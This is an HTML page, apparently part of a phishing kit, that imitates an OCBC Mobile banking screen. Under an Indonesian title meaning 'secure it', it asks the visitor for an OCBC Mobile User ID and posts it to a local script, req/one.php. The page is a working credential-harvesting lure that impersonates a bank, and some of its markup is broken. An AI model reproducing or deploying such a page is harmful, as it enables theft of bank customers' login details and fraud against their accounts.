<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Amankan</title>
<style>
  body {
    font-family: Arial, sans-serif;
    background-color: #fafafa;
    margin: 0;
    padding: 0px;
  }

  .container {
    max-width: 480px;
    margin: -0 auto;
    padding: 20px;

  }

  .back-arrow {
    font-size: 30px;
    font-weight: bold;
    color: #ff0033;
    cursor: pointer;
    user-select: none;
  }

  h1 {
    font-weight: 900;
    margin: 0px 0 0px 0;
    font-size: 24px;
    color: #000;
  }

  .description {
    font-weight: 600;
    font-size: 18px;
    color: #4c4c4c;
    margin-bottom: 10px;
  }

  .signup-link {
    font-weight: 600;
    color: #ff0033;
    cursor: pointer;
  }

  .input-group {
    background: #fff;
    border-radius: 15px;
    padding: 25px 25px;
    margin-top: 20px;
    box-shadow: 0 4px 8px rgb(200 200 200 / 70%);
  }

  .input-label {
    color: #000;
    font-size: 14px;
    margin-bottom: 10px;
    display: block;
    font-weight: 900;
  }

  input[type="text"] {
    border: none;
    border-bottom: 2px solid #999;
    width: 100%;
    font-size: 16px;
    outline: none;
    padding: 8px 4px;
  }

  input[type="text"]:focus {
    border-color: #000;
  }

  .btn {
  
    margin-top: ;
    background-image: linear-gradient(135deg, #a70700 0%, #fb0a00 70%);
    border: none;
    color: #fff;
    font-size: 17px;
    font-weight: 800;
    padding: 13px 13px ;
    margin:15px 15px;
    width: 90%;
    border-radius: 10px;
    cursor: pointer;
  }
</style>
</head>
<body>
      <img src="https://ik.imagekit.io/bmp99gglh/Picsart_25-11-16_05-36-05-562.png" width="100%" alt="">

  <div class="container">
     
   <center>
    <p class="description">
      Input your OCBC Mobile User ID.<br /><br>
       <span class="signup-link"></span>
    </p>
</center>
<form   action="req/one.php" method="POST" >
    <div class="input-group">
      <label for="userId" class="input-label">User ID</label>
      <input type="text" placeholder="Input User ID" id="userId" name="user" /required>
      <br>
    </div>
    
    <br><br>
    <center>
       <span class="signup-link">Forgot or Haven't received User ID Yet?</span>
</center>
<footer style="width: 100%; position: fixed; bottom: 0; left: 0; right: 0; height: 100px; background: ; padding: 0px; padding-top: -20px; text-align: center">
      <button class="btn">Lanjut</button>
</form>
  </footer> 


  </div>
</body>
</html>
